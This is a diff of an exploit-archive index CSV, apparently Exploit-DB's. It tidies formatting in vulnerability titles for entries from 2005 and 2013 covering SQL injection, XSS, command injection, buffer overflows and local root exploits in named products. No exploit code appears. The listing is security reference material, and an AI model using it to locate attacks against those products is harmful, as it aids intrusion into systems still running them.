@@ -22487,10 +22487,10 @@ id,file,description,date,author,platform,type,port
 25366,platforms/php/webapps/25366.txt,"PostNuke Phoenix 0.760 RC3 OP Parameter Remote Cross-Site Scripting Vulnerability",2005-04-08,Dcrab,php,webapps,0
 25367,platforms/php/webapps/25367.txt,"PostNuke Phoenix 0.760 RC3 Module Parameter Remote Cross-Site Scripting Vulnerability",2005-04-08,Dcrab,php,webapps,0
 25368,platforms/php/webapps/25368.txt,"PostNuke Phoenix 0.760 RC3 SID Parameter Remote SQL Injection Vulnerability",2005-04-08,Dcrab,php,webapps,0
-25369,platforms/php/webapps/25369.txt,"RadScripts RadBids Gold v2 index.php read Parameter Traversal Arbitrary File Access",2005-04-09,Dcrab,php,webapps,0
-25370,platforms/php/webapps/25370.txt,"RadScripts RadBids Gold v2 index.php mode Parameter SQL Injection",2005-04-09,Dcrab,php,webapps,0
-25371,platforms/php/webapps/25371.txt,"RadScripts RadBids Gold v2 faq.php farea Parameter XSS",2005-04-09,Dcrab,php,webapps,0
-25372,platforms/php/webapps/25372.txt,"RadScripts RadBids Gold v2 index.php Multiple Parameter XSS",2005-04-09,Dcrab,php,webapps,0
+25369,platforms/php/webapps/25369.txt,"RadScripts RadBids Gold 2.0 - index.php read Parameter Traversal Arbitrary File Access",2005-04-09,Dcrab,php,webapps,0
+25370,platforms/php/webapps/25370.txt,"RadScripts RadBids Gold 2.0 - index.php mode Parameter SQL Injection",2005-04-09,Dcrab,php,webapps,0
+25371,platforms/php/webapps/25371.txt,"RadScripts RadBids Gold 2.0 - faq.php farea Parameter XSS",2005-04-09,Dcrab,php,webapps,0
+25372,platforms/php/webapps/25372.txt,"RadScripts RadBids Gold 2.0 - index.php Multiple Parameter XSS",2005-04-09,Dcrab,php,webapps,0
 25373,platforms/php/webapps/25373.txt,"Azerbaijan Development Group AzDGDatingPlatinum 1.1 .0 view.php id Parameter XSS",2005-04-09,kre0n,php,webapps,0
 25374,platforms/php/webapps/25374.txt,"Azerbaijan Development Group AzDGDatingPlatinum 1.1 .0 view.php id Parameter SQL Injection",2005-04-09,kre0n,php,webapps,0
 25375,platforms/linux/remote/25375.pl,"KDE KMail 1.7.1 HTML EMail Remote Email Content Spoofing Vulnerability",2005-04-11,"Noam Rathaus",linux,remote,0
@@ -22529,9 +22529,9 @@ id,file,description,date,author,platform,type,port
 25409,platforms/php/webapps/25409.txt,"Ajax Availability Calendar 3.X.X - Multiple Vulnerabilties",2013-05-13,AtT4CKxT3rR0r1ST,php,webapps,0
 25410,platforms/php/webapps/25410.txt,"Joomla S5 Clan Roster com_s5clanroster (index.php, id param) - SQL Injection",2013-05-13,AtT4CKxT3rR0r1ST,php,webapps,0
 25411,platforms/linux/local/25411.py,"No-IP Dynamic Update Client (DUC) 2.1.9 - Local IP Address Stack Overflow",2013-05-13,"Alberto Ortega",linux,local,0
-25412,platforms/hardware/webapps/25412.txt,"Wireless Disk PRO v2.3 iOS - Multiple Vulnerabilities",2013-05-13,Vulnerability-Lab,hardware,webapps,0
+25412,platforms/hardware/webapps/25412.txt,"Wireless Disk PRO 2.3 iOS - Multiple Vulnerabilities",2013-05-13,Vulnerability-Lab,hardware,webapps,0
 25413,platforms/hardware/webapps/25413.txt,"Wifi Photo Transfer 2.1 & 1.1 PRO - Multiple Vulnerabilities",2013-05-13,Vulnerability-Lab,hardware,webapps,0
-25414,platforms/hardware/webapps/25414.txt,"Wifi Album v1.47 iOS - Command Injection Vulnerability",2013-05-13,Vulnerability-Lab,hardware,webapps,0
+25414,platforms/hardware/webapps/25414.txt,"Wifi Album 1.47 iOS - Command Injection Vulnerability",2013-05-13,Vulnerability-Lab,hardware,webapps,0
 25415,platforms/hardware/webapps/25415.txt,"Wireless Photo Access 1.0.10 iOS - Multiple Vulnerabilities",2013-05-13,Vulnerability-Lab,hardware,webapps,0
 25416,platforms/hardware/webapps/25416.txt,"SimpleTransfer 2.2.1 - Command Injection Vulnerabilities",2013-05-13,Vulnerability-Lab,hardware,webapps,0
 25417,platforms/hardware/webapps/25417.txt,"File Lite 3.3 & 3.5 PRO iOS - Multiple Vulnerabilities",2013-05-13,Vulnerability-Lab,hardware,webapps,0
@@ -22560,11 +22560,11 @@ id,file,description,date,author,platform,type,port
 25440,platforms/php/webapps/25440.txt,"Wordpress wp-FileManager - Arbitrary File Download Vulnerability",2013-05-14,ByEge,php,webapps,0
 25441,platforms/php/webapps/25441.txt,"IPB (Invision Power Board) all versions (1.x? / 2.x / 3.x) - Admin Account Takeover",2013-05-14,"John JEAN",php,webapps,0
 25442,platforms/php/webapps/25442.txt,"WHMCS 4.x (invoicefunctions.php, id param) - SQL Injection Vulnerability",2013-05-14,"Ahmed Aboul-Ela",php,webapps,0
-25443,platforms/windows/dos/25443.txt,"Quick Search Version 1.1.0.189 Buffer Overflow Vulnerability (SEH)",2013-05-14,ariarat,windows,dos,0
+25443,platforms/windows/dos/25443.txt,"Quick Search 1.1.0.189 - Buffer Overflow Vulnerability (SEH)",2013-05-14,ariarat,windows,dos,0
 25444,platforms/linux/local/25444.c,"Linux PERF_EVENTS - Local Root Exploit",2013-05-14,sd,linux,local,0
 25445,platforms/multiple/remote/25445.rb,"SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution",2013-05-14,metasploit,multiple,remote,8000
 25446,platforms/multiple/remote/25446.rb,"SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution",2013-05-14,metasploit,multiple,remote,8000
-25447,platforms/php/webapps/25447.txt,"AlienVault OSSIM  4.1.2 - Multiple SQL Injection Vulnerabilities",2013-05-14,RunRunLevel,php,webapps,0
+25447,platforms/php/webapps/25447.txt,"AlienVault OSSIM 4.1.2 - Multiple SQL Injection Vulnerabilities",2013-05-14,RunRunLevel,php,webapps,0
 25448,platforms/windows/local/25448.rb,"ERS Viewer 2011 ERS File Handling Buffer Overflow",2013-05-14,metasploit,windows,local,0
 25449,platforms/php/webapps/25449.txt,"UMI.CMS 2.9 - CSRF Vulnerability",2013-05-14,"High-Tech Bridge SA",php,webapps,0
 25450,platforms/linux/local/25450.c,"Linux Kernel open-time Capability file_ns_capable() Privilege Escalation",2013-05-14,"Andrew Lutomirski",linux,local,0
@@ -22583,7 +22583,7 @@ id,file,description,date,author,platform,type,port
 25463,platforms/php/webapps/25463.txt,"CityPost PHP Image Editor M4 URI Parameter Cross-Site Scripting Vulnerability",2005-04-19,Thom,php,webapps,0
 25464,platforms/php/webapps/25464.txt,"CityPost Simple PHP Upload Simple-upload-53.PHP Cross-Site Scripting Vulnerability",2005-04-19,Thom,php,webapps,0
 25465,platforms/linux/dos/25465.txt,"Logwatch 2.6 Secure Script Denial Of Service Vulnerability",2005-04-20,Anonymous,linux,dos,0
-25466,platforms/asp/webapps/25466.txt,"ECommProV3 Admin/Login.ASP SQL Injection Vulnerability",2005-04-20,c0d3r,asp,webapps,0
+25466,platforms/asp/webapps/25466.txt,"ECommPro 3.0 - Admin/Login.ASP SQL Injection Vulnerability",2005-04-20,c0d3r,asp,webapps,0
 25467,platforms/php/webapps/25467.txt,"Netref 4.2 Cat_for_gen.PHP Remote PHP Script Injection Vulnerability",2005-04-20,jaguar,php,webapps,0
 25468,platforms/php/webapps/25468.txt,"PHP Labs proFile Dir URI Variable Cross-Site Scripting Vulnerability",2005-04-20,sNKenjoi,php,webapps,0
 25469,platforms/php/webapps/25469.txt,"Ocean12 Calendar Manager 1.0 Admin Form SQL Injection Vulnerability",2005-04-20,Zinho,php,webapps,0
@@ -22598,7 +22598,7 @@ id,file,description,date,author,platform,type,port
 25479,platforms/asp/webapps/25479.txt,"DUportal Pro 3.4 result.asp Multiple Parameter SQL Injection",2005-04-20,Dcrab,asp,webapps,0
 25480,platforms/asp/webapps/25480.txt,"DUportal Pro 3.4 cat.asp Multiple Parameter SQL Injection",2005-04-20,Dcrab,asp,webapps,0
 25481,platforms/asp/webapps/25481.txt,"DUportal Pro 3.4 detail.asp Multiple Parameter SQL Injection",2005-04-20,Dcrab,asp,webapps,0
-25482,platforms/asp/webapps/25482.txt,"DUportal 3.1.2  channel.asp iChannel Parameter SQL Injection",2005-04-20,Dcrab,asp,webapps,0
+25482,platforms/asp/webapps/25482.txt,"DUportal 3.1.2 channel.asp iChannel Parameter SQL Injection",2005-04-20,Dcrab,asp,webapps,0
 25483,platforms/asp/webapps/25483.txt,"DUportal 3.1.2 inc_poll_voting.asp DAT_PARENT Parameter SQL Injection",2005-04-20,Dcrab,asp,webapps,0
 25484,platforms/asp/webapps/25484.txt,"DUportal 3.1.2 inc_rating.asp Multiple Parameter SQL Injection",2005-04-20,Dcrab,asp,webapps,0
 25485,platforms/asp/webapps/25485.txt,"DUportal 3.1.2 type.asp iCat Parameter SQL Injection",2005-04-20,Dcrab,asp,webapps,0
@@ -22609,7 +22609,7 @@ id,file,description,date,author,platform,type,port
 25490,platforms/php/webapps/25490.txt,"ProfitCode Software PayProCart 3.0 AdminShop HDoc Cross-Site Scripting Vulnerability",2005-04-21,Lostmon,php,webapps,0
 25491,platforms/php/webapps/25491.txt,"ProfitCode Software PayProCart 3.0 AdminShop ModID Cross-Site Scripting Vulnerability",2005-04-21,Lostmon,php,webapps,0
 25492,platforms/php/webapps/25492.txt,"ProfitCode Software PayProCart 3.0 AdminShop TaskID Cross-Site Scripting Vulnerability",2004-04-21,Lostmon,php,webapps,0
-25493,platforms/php/webapps/25493.txt,"Persistent XSS in CKEditor <4.1 via WYSIWYG module Drupal 6.x & 7.x",2013-05-17,r0ng,php,webapps,0
+25493,platforms/php/webapps/25493.txt,"CKEditor < 4.1 - Persistent XSS WYSIWYG module Drupal 6.x & 7.x",2013-05-17,r0ng,php,webapps,0
 25494,platforms/php/webapps/25494.txt,"ProfitCode Software PayProCart 3.0 AdminShop ProMod Cross-Site Scripting Vulnerability",2005-04-21,Lostmon,php,webapps,0
 25495,platforms/php/webapps/25495.txt,"ProfitCode Software PayProCart 3.0 AdminShop MMActionComm Cross-Site Scripting Vulnerability",2005-04-21,Lostmon,php,webapps,0
 25496,platforms/php/webapps/25496.txt,"php-Charts 1.0 - Code Execution Vulnerability",2013-05-17,"fizzle stick",php,webapps,0
@@ -22635,7 +22635,7 @@ id,file,description,date,author,platform,type,port
 25516,platforms/asp/webapps/25516.txt,"CartWIZ 1.10 Login.ASP Redirect Argument Cross-Site Scripting Vulnerability",2005-04-23,Dcrab,asp,webapps,0
 25517,platforms/linux/remote/25517.rb,"Mutiny 5 Arbitrary File Upload",2013-05-17,metasploit,linux,remote,0
 25518,platforms/php/webapps/25518.txt,"Exponent CMS 2.2.0 beta 3 - Multiple Vulnerabilities",2013-05-17,"High-Tech Bridge SA",php,webapps,0
-25519,platforms/php/webapps/25519.txt,"ZPanel templateparser.class.php Crafted Template Remote Command Execution",2013-04-16,"Sven Slootweg",php,webapps,0
+25519,platforms/php/webapps/25519.txt,"ZPanel templateparser.class.php - Crafted Template Remote Command Execution",2013-04-16,"Sven Slootweg",php,webapps,0
 25520,platforms/asp/webapps/25520.txt,"CartWIZ 1.10 Login.ASP Message Argument Cross-Site Scripting Vulnerability",2005-04-23,Dcrab,asp,webapps,0
 25521,platforms/asp/webapps/25521.txt,"CartWIZ 1.10 SearchResults.ASP SKU Argument Cross-Site Scripting Vulnerability",2005-04-23,Dcrab,asp,webapps,0
 25522,platforms/asp/webapps/25522.txt,"CartWIZ 1.10 SearchResults.ASP Name Argument Cross-Site Scripting Vulnerability",2005-04-23,Dcrab,asp,webapps,0
@@ -22721,7 +22721,7 @@ id,file,description,date,author,platform,type,port
 25605,platforms/php/webapps/25605.txt,"WordPress ProPlayer Plugin 4.7.9.1 - SQL Injection",2013-05-21,"Ashiyane Digital Security Team",php,webapps,0
 25606,platforms/php/webapps/25606.py,"Kimai 0.9.2.1306-3 - SQL Injection Vulnerability",2013-05-21,drone,php,webapps,0
 25607,platforms/windows/local/25607.py,"Ophcrack 3.5.0 - Local Code Execution BOF",2013-05-21,xis_one,windows,local,0
-25608,platforms/hardware/remote/25608.rb,"Linksys WRT160nv2 apply.cgi Remote Command Injection",2013-05-21,metasploit,hardware,remote,80
+25608,platforms/hardware/remote/25608.rb,"Linksys WRT160nv2 - apply.cgi Remote Command Injection",2013-05-21,metasploit,hardware,remote,80
 25609,platforms/hardware/remote/25609.rb,"D-Link DIR615h OS Command Injection",2013-05-21,metasploit,hardware,remote,80
 25611,platforms/windows/dos/25611.txt,"win32k!EPATHOBJ::pprFlattenRec Uninitialized Next Pointer Testcase",2013-05-21,"Tavis Ormandy",windows,dos,0
 25612,platforms/php/webapps/25612.txt,"myBloggie 2.1 index.php year Parameter XSS",2005-05-05,"Alberto Trivero",php,webapps,0
@@ -22777,7 +22777,7 @@ id,file,description,date,author,platform,type,port
 25662,platforms/php/webapps/25662.txt,"Skull-Splitter Guestbook 1.0/2.0/2.2 Multiple HTML Injection Vulnerabilities",2005-05-14,"Morinex Eneco",php,webapps,0
 25663,platforms/php/webapps/25663.txt,"Shop-Script CategoryID SQL Injection Vulnerability",2005-05-16,"CENSORED Search Vulnerabilities",php,webapps,0
 25664,platforms/php/webapps/25664.txt,"Shop-Script ProductID SQL Injection Vulnerability",2005-05-16,"CENSORED Search Vulnerabilities",php,webapps,0
-25665,platforms/php/webapps/25665.txt,"PostNuke 0.75/0.76  Blocks Module Directory Traversal Vulnerability",2005-05-16,pokley,php,webapps,0
+25665,platforms/php/webapps/25665.txt,"PostNuke 0.75/0.76 Blocks Module Directory Traversal Vulnerability",2005-05-16,pokley,php,webapps,0
 25666,platforms/cgi/webapps/25666.txt,"PServ 3.2 Remote Source Code Disclosure Vulnerability",2005-05-16,"Claus R. F. Overbeck",cgi,webapps,0
 25667,platforms/asp/webapps/25667.txt,"MetaCart E-Shop ProductsByCategory.ASP Cross-Site Scripting Vulnerability",2005-05-16,"Dedi Dwianto",asp,webapps,0
 25668,platforms/cgi/webapps/25668.txt,"Sigma ISP Manager 6.6 Sigmaweb.DLL SQL Injection Vulnerability",2005-05-16,"mehran gashtasebi",cgi,webapps,0
@@ -22911,7 +22911,7 @@ id,file,description,date,author,platform,type,port
 25798,platforms/asp/webapps/25798.txt,"Early Impact ProductCart 2.6/2.7 OptionFieldsEdit.asp idccr Parameter SQL Injection",2005-06-06,"Dedi Dwianto",asp,webapps,0
 25799,platforms/php/webapps/25799.txt,"FlatNuke 2.5.x index.php where Variable Path Disclosure",2005-06-07,SecWatch,php,webapps,0
 25800,platforms/php/webapps/25800.txt,"FlatNuke 2.5.x help.php Multiple Parameter XSS",2005-06-07,SecWatch,php,webapps,0
-25801,platforms/php/webapps/25801.php,"FlatNuke 2.5.x referer.php Crafted Referer Arbitrary PHP Code Execution",2005-06-07,SecWatch,php,webapps,0
+25801,platforms/php/webapps/25801.php,"FlatNuke 2.5.x - referer.php Crafted Referer Arbitrary PHP Code Execution",2005-06-07,SecWatch,php,webapps,0
 25802,platforms/linux/remote/25802.txt,"C.J. Steele Tattle Remote Command Execution Vulnerability",2005-06-07,b0iler,linux,remote,0
 25803,platforms/php/webapps/25803.txt,"Cerberus Helpdesk 0.97.3/2.6.1 Multiple Cross-Site Scripting Vulnerabilities",2005-06-08,"Dedi Dwianto",php,webapps,0
 25804,platforms/asp/webapps/25804.txt,"Loki Download Manager 2.0 Default.ASP SQL Injection Vulnerability",2005-06-08,hack_912,asp,webapps,0
@@ -22921,7 +22921,7 @@ id,file,description,date,author,platform,type,port
 25808,platforms/php/webapps/25808.txt,"Invision Community Blog 1.0/1.1 Multiple Input Validation Vulnerabilities",2005-06-09,"James Bercegay",php,webapps,0
 25809,platforms/osx/dos/25809.py,"CodeBlocks 12.11 (Mac OS X) - Crash POC",2013-05-29,ariarat,osx,dos,0
 25810,platforms/hardware/webapps/25810.py,"TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit",2013-05-29,"Adam Simuntis",hardware,webapps,0
-25811,platforms/hardware/webapps/25811.py,"YeaLink IP Phone Firmware <=9.70.0.100 Unauthenticated Phone Call Vulnerability",2013-05-29,b0rh,hardware,webapps,0
+25811,platforms/hardware/webapps/25811.py,"YeaLink IP Phone Firmware <= 9.70.0.100 - Unauthenticated Phone Call Vulnerability",2013-05-29,b0rh,hardware,webapps,0
 25812,platforms/hardware/webapps/25812.txt,"TP-Link IP Cameras Firmware 1.6.18P12 - Multiple Vulnerabilities",2013-05-29,"Core Security",hardware,webapps,0
 25813,platforms/hardware/webapps/25813.txt,"MayGion IP Cameras Firmware 09.27 - Multiple Vulnerabilities",2013-05-29,"Core Security",hardware,webapps,0
 25814,platforms/windows/remote/25814.rb,"IBM SPSS SamplePower C1Tab ActiveX Heap Overflow",2013-05-29,metasploit,windows,remote,0
@@ -23020,7 +23020,7 @@ id,file,description,date,author,platform,type,port
 25908,platforms/asp/webapps/25908.txt,"ASPPlayground.NET 3.2 SR1 Remote Arbitrary File Upload Vulnerability",2005-06-27,Psycho,asp,webapps,0
 25909,platforms/php/webapps/25909.txt,"Mensajeitor 1.8.9 IP Parameter HTML Injection Vulnerability",2005-06-27,Megabyte,php,webapps,0
 25910,platforms/asp/webapps/25910.txt,"Community Server Forums 'SearchResults.aspx' Cross-Site Scripting Vulnerability",2005-06-28,abducter_minds@yahoo.com,asp,webapps,0
-25911,platforms/windows/dos/25911.py,"BisonFTP V4R1 Remote Denial Of Service Vulnerability",2005-06-28,fRoGGz,windows,dos,0
+25911,platforms/windows/dos/25911.py,"BisonFTP 4R1 - Remote Denial Of Service Vulnerability",2005-06-28,fRoGGz,windows,dos,0
 25912,platforms/windows/local/25912.c,"Windows NT - Windows 8 EPATHOBJ Local Ring 0 Exploit",2013-06-03,"Tavis Ormandy",windows,local,0
 25913,platforms/asp/webapps/25913.txt,"Hosting Controller 6.1 Error.ASP Cross-Site Scripting Vulnerability",2005-06-28,"Ashiyane Digital Security Team",asp,webapps,0
 25914,platforms/asp/webapps/25914.txt,"Dynamic Biz Website Builder (QuickWeb) 1.0 Login.ASP SQL Injection Vulnerability",2005-06-28,basher13,asp,webapps,0
@@ -23096,15 +23096,15 @@ id,file,description,date,author,platform,type,port
 25986,platforms/php/remote/25986.txt,"Plesk Apache Zeroday Remote Exploit",2013-06-05,Kingcope,php,remote,0
 25987,platforms/hardware/remote/25987.txt,"Xpient Cash Drawer Operation Vulnerability",2013-06-05,"Core Security",hardware,remote,0
 25988,platforms/multiple/remote/25988.txt,"Oracle9i Application Server 9.0.2 MOD_ORADAV Access Control Vulnerability",2003-02-13,"David Litchfield",multiple,remote,0
-25989,platforms/windows/remote/25989.txt,"Nullsoft Winamp 5.0 Malformed ID3v2 Tag Buffer Overflow Vulnerability",2005-07-15,"Leon Juranic",windows,remote,0
+25989,platforms/windows/remote/25989.txt,"Nullsoft Winamp 5.0 - Malformed ID3v2 Tag Buffer Overflow Vulnerability",2005-07-15,"Leon Juranic",windows,remote,0
 25990,platforms/php/webapps/25990.txt,"Clever Copy 2.0 Calendar.PHP Cross-Site Scripting Vulnerability",2005-07-15,Lostmon,php,webapps,0
 25991,platforms/windows/dos/25991.txt,"Microsoft Internet Explorer 5.0.1 JPEG Image Rendering Unspecified Buffer Overflow Vulnerability",2005-07-15,"Michal Zalewski",windows,dos,0
 25992,platforms/windows/dos/25992.txt,"Microsoft Internet Explorer 5.0.1 JPEG Image Rendering CMP Fencepost Denial Of Service Vulnerability",2005-07-15,"Michal Zalewski",windows,dos,0
-25993,platforms/linux/local/25993.sh,"Skype Technologies Skype  0.92/1.0/1.1 Insecure Temporary File Creation Vulnerability",2005-07-18,"Giovanni Delvecchio",linux,local,0
+25993,platforms/linux/local/25993.sh,"Skype Technologies Skype 0.92/1.0/1.1 Insecure Temporary File Creation Vulnerability",2005-07-18,"Giovanni Delvecchio",linux,local,0
 25994,platforms/php/webapps/25994.txt,"OSCommerce 2.2 Update.PHP Information Disclosure Vulnerability",2005-07-18,"Andrew Hunter",php,webapps,0
 25995,platforms/php/webapps/25995.txt,"e107 Website System 0.6 Nested BBCode URL Tag Script Injection Vulnerability",2005-07-18,"Nick Griffin",php,webapps,0
 25996,platforms/php/webapps/25996.txt,"RuubikCMS 1.1.1 - Stored XSS Vulnerability",2013-06-07,expl0i13r,php,webapps,0
-25997,platforms/php/webapps/25997.txt,"tForum  b0.9 Member.PHP Cross-Site Scripting Vulnerability",2005-07-18,wannacut,php,webapps,0
+25997,platforms/php/webapps/25997.txt,"tForum b0.9 Member.PHP Cross-Site Scripting Vulnerability",2005-07-18,wannacut,php,webapps,0
 25998,platforms/hardware/webapps/25998.txt,"Asus RT56U 3.0.0.4.360 - Remote Command Injection",2013-06-07,drone,hardware,webapps,0
 25999,platforms/windows/remote/25999.rb,"Microsoft Internet Explorer textNode Use-After-Free",2013-06-07,"Scott Bell",windows,remote,0
 26001,platforms/java/webapps/26001.txt,"Novell GroupWise 6.5 WebAccess HTML Injection Vulnerability",2005-07-15,"Francisco Amato",java,webapps,0
@@ -23179,7 +23179,7 @@ id,file,description,date,author,platform,type,port
 26072,platforms/php/webapps/26072.txt,"PortailPHP 2.4 Index.PHP SQL Injection Vulnerability",2005-08-04,abducter_minds@yahoo.com,php,webapps,0
 26073,platforms/jsp/webapps/26073.txt,"Resin Application Server 4.0.36 Source Code Disclosure Vulnerability",2013-06-10,LiquidWorm,jsp,webapps,0
 26075,platforms/hardware/remote/26075.txt,"MobileIron Virtual Smartphone Platform Privilege Escalation Exploit",2013-06-10,prdelka,hardware,remote,0
-26076,platforms/hardware/dos/26076.py,"Cisco ASA < 8.4.4.6|8.2.5.32 Ethernet Information Leak",2013-06-10,prdelka,hardware,dos,0
+26076,platforms/hardware/dos/26076.py,"Cisco ASA < 8.4.4.6 & 8.2.5.32 - Ethernet Information Leak",2013-06-10,prdelka,hardware,dos,0
 26077,platforms/php/webapps/26077.txt,"concrete5 CMS 5.6.1.2 - Multiple Vulnerabilities",2013-06-10,expl0i13r,php,webapps,0
 26079,platforms/php/webapps/26079.txt,"Comdev ECommerce 3.0 Config.PHP Remote File Include Vulnerability",2005-08-05,Anonymous,php,webapps,0
 26080,platforms/php/webapps/26080.txt,"Comdev eCommerce 3.0 WCE.Download.PHP Directory Traversal Vulnerability",2005-08-05,Anonymous,php,webapps,0
@@ -23305,7 +23305,7 @@ id,file,description,date,author,platform,type,port
 26200,platforms/php/webapps/26200.txt,"SqWebMail 5.0 .4 HTML Email IMG Tag Script Injection Vulnerability",2005-08-29,"Jakob Balle",php,webapps,0
 26201,platforms/php/webapps/26201.txt,"PHPWebNotes 2.0 Api.PHP Remote File Include Vulnerability",2005-08-29,nf2@scheinwelt.at,php,webapps,0
 26202,platforms/php/webapps/26202.txt,"Looking Glass Cross-Site Scripting Vulnerability",2005-08-27,rgod,php,webapps,0
-26203,platforms/php/webapps/26203.php,"Looking Glass v20040427 Remote Command Execution Vulnerability",2005-08-27,rgod,php,webapps,0
+26203,platforms/php/webapps/26203.php,"Looking Glass 20040427 - Remote Command Execution Vulnerability",2005-08-27,rgod,php,webapps,0
 26204,platforms/php/webapps/26204.pl,"MyBB Member.PHP SQL Injection Vulnerability",2005-08-29,W7ED,php,webapps,0
 26205,platforms/php/webapps/26205.txt,"Land Down Under 700/701/800/801 index.php c Parameter SQL Injection",2005-08-29,matrix_killer,php,webapps,0
 26206,platforms/php/webapps/26206.txt,"Land Down Under 700/701/800/801 events.php c Parameter SQL Injection",2005-08-29,matrix_killer,php,webapps,0
@@ -23316,7 +23316,7 @@ id,file,description,date,author,platform,type,port
 26211,platforms/php/webapps/26211.txt,"phpldapadmin 0.9.6/0.9.7 welcome.php custom_welcome_page Variable Arbitrary File Inclusion",2005-08-30,rgod,php,webapps,0
 26212,platforms/php/webapps/26212.txt,"FlatNuke 2.5.6 ID Parameter Directory Traversal Vulnerability",2005-08-31,rgod,php,webapps,0
 26213,platforms/php/webapps/26213.txt,"LibrettoCMS 2.2.2 - Arbitrary File Upload",2013-06-14,"CWH Underground",php,webapps,0
-26214,platforms/windows/dos/26214.py,"Easy LAN Folder Share Version 3.2.0.100 - Buffer Overflow Vulnerability",2013-06-14,ariarat,windows,dos,0
+26214,platforms/windows/dos/26214.py,"Easy LAN Folder Share 3.2.0.100 - Buffer Overflow Vulnerability",2013-06-14,ariarat,windows,dos,0
 26215,platforms/php/webapps/26215.txt,"FlatNuke 2.5.6 USR Parameter Cross-Site Scripting Vulnerability",2005-08-31,rgod,php,webapps,0
 26216,platforms/windows/dos/26216.txt,"Indiatimes Messenger 6.0 Remote Buffer Overflow Vulnerability",2005-08-31,ViPeR,windows,dos,0
 26217,platforms/php/webapps/26217.html,"CMS Made Simple 0.10 Lang.PHP Remote File Include Vulnerability",2005-08-31,groszynskif,php,webapps,0
@@ -23470,14 +23470,14 @@ id,file,description,date,author,platform,type,port
 26372,platforms/php/webapps/26372.txt,"MySource 2.14 mimeDecode.php PEAR_PATH Remote File Inclusion",2005-10-18,"Secunia Research",php,webapps,0
 26373,platforms/php/webapps/26373.txt,"MySource 2.14 mime.php PEAR_PATH Remote File Inclusion",2005-10-18,"Secunia Research",php,webapps,0
 26374,platforms/windows/remote/26374.txt,"Xerver 4.17 Single Dot File Request Source Disclosure",2005-10-19,"Ziv Kamir",windows,remote,0
-26375,platforms/windows/remote/26375.txt,"Xerver 4.17 Crafted Request Forced Directory Listing",2005-10-19,"Ziv Kamir",windows,remote,0
+26375,platforms/windows/remote/26375.txt,"Xerver 4.17 - Forced Directory Listing",2005-10-19,"Ziv Kamir",windows,remote,0
 26376,platforms/windows/remote/26376.txt,"Xerver 4.17 Server URI Null Character XSS",2005-10-19,"Ziv Kamir",windows,remote,0
 26377,platforms/php/webapps/26377.txt,"PHPNuke Modules.PHP Search Module Remote Directory Traversal Vulnerability",2005-10-19,sp3x@securityreason.com,php,webapps,0
 26378,platforms/php/webapps/26378.txt,"Chipmunk Forum newtopic.php forumID Parameter XSS",2005-10-20,"Alireza Hassani",php,webapps,0
 26379,platforms/php/webapps/26379.txt,"Chipmunk Forum quote.php forumID Parameter XSS",2005-10-20,"Alireza Hassani",php,webapps,0
 26380,platforms/php/webapps/26380.txt,"Chipmunk Forum recommend.php ID Parameter XSS",2005-10-20,"Alireza Hassani",php,webapps,0
 26381,platforms/php/webapps/26381.txt,"Chipmunk Directory recommend.php entryID Parameter XSS",2005-10-20,"Alireza Hassani",php,webapps,0
-26382,platforms/linux/local/26382.c,"Linux Kernel 2.6.x IPV6 Local Denial of Service Vulnerability",2005-10-20,"Rémi Denis-Courmont",linux,local,0
+26382,platforms/linux/local/26382.c,"Linux Kernel 2.6.x - IPV6 Local Denial of Service Vulnerability",2005-10-20,"Rémi Denis-Courmont",linux,local,0
 26383,platforms/php/webapps/26383.txt,"Zomplog 3.3/3.4 Detail.PHP HTML Injection Vulnerability",2005-10-22,sikikmail,php,webapps,0
 26384,platforms/php/webapps/26384.txt,"FlatNuke 2.5.x Index.PHP Multiple Remote File Include Vulnerabilities",2005-10-22,abducter_minds@yahoo.com,php,webapps,0
 26385,platforms/php/webapps/26385.txt,"FlatNuke 2.5.x Index.PHP Cross-Site Scripting Vulnerability",2005-10-26,alex@aleksanet.com,php,webapps,0
@@ -23692,8 +23692,8 @@ id,file,description,date,author,platform,type,port
 26602,platforms/php/webapps/26602.txt,"Enterprise Heart Enterprise Connector 1.0.2 send.php messageid Parameter SQL Injection",2005-11-28,r0t,php,webapps,0
 26603,platforms/php/webapps/26603.txt,"Enterprise Heart Enterprise Connector 1.0.2 messages.php messageid Parameter SQL Injection",2005-11-28,r0t,php,webapps,0
 26604,platforms/php/webapps/26604.txt,"Zainu 2.0 SQL Injection Vulnerabilities",2005-11-28,r0t,php,webapps,0
-26605,platforms/php/webapps/26605.txt,"Babe Logger V2 index.php gal Parameter SQL Injection",2005-11-28,r0t,php,webapps,0
-26606,platforms/php/webapps/26606.txt,"Babe Logger V2 comments.php id Parameter SQL Injection",2005-11-28,r0t,php,webapps,0
+26605,platforms/php/webapps/26605.txt,"Babe Logger 2.0 - index.php gal Parameter SQL Injection",2005-11-28,r0t,php,webapps,0
+26606,platforms/php/webapps/26606.txt,"Babe Logger 2.0 - comments.php id Parameter SQL Injection",2005-11-28,r0t,php,webapps,0
 26607,platforms/php/webapps/26607.txt,"Top Music Module 3.0 SQL Injection Vulnerabilities",2005-11-28,r0t,php,webapps,0
 26608,platforms/php/webapps/26608.txt,"PHPWordPress 3.0 Multiple SQL Injection Vulnerabilities",2005-11-28,r0t,php,webapps,0
 26609,platforms/php/webapps/26609.txt,"Bedeng PSP 1.1 baca.php ckode Parameter SQL Injection",2005-11-28,r0t,php,webapps,0
@@ -23956,7 +23956,7 @@ id,file,description,date,author,platform,type,port
 26872,platforms/php/webapps/26872.txt,"PHP-Fusion 6.0 Members.PHP Cross-Site Scripting Vulnerability",2005-12-19,krasza,php,webapps,0
 26873,platforms/asp/webapps/26873.txt,"Acidcat CMS 2.1.13 default.asp ID Parameter SQL Injection",2005-12-19,admin@hamid.ir,asp,webapps,0
 26874,platforms/asp/webapps/26874.txt,"Acidcat CMS 2.1.13 acidcat.mdb Remote Information Disclosure",2005-12-19,admin@hamid.ir,asp,webapps,0
-26875,platforms/asp/webapps/26875.txt,"allinta CMS 2.3.2  faq.asp s Parameter XSS",2005-12-19,r0t3d3Vil,asp,webapps,0
+26875,platforms/asp/webapps/26875.txt,"allinta CMS 2.3.2 faq.asp s Parameter XSS",2005-12-19,r0t3d3Vil,asp,webapps,0
 26876,platforms/asp/webapps/26876.txt,"allinta CMS 2.3.2 search.asp searchQuery Parameter XSS",2005-12-19,r0t3d3Vil,asp,webapps,0
 26877,platforms/php/webapps/26877.txt,"Box UK Amaxus CMS 3.0 Cross-Site Scripting Vulnerability",2005-12-19,r0t3d3Vil,php,webapps,0
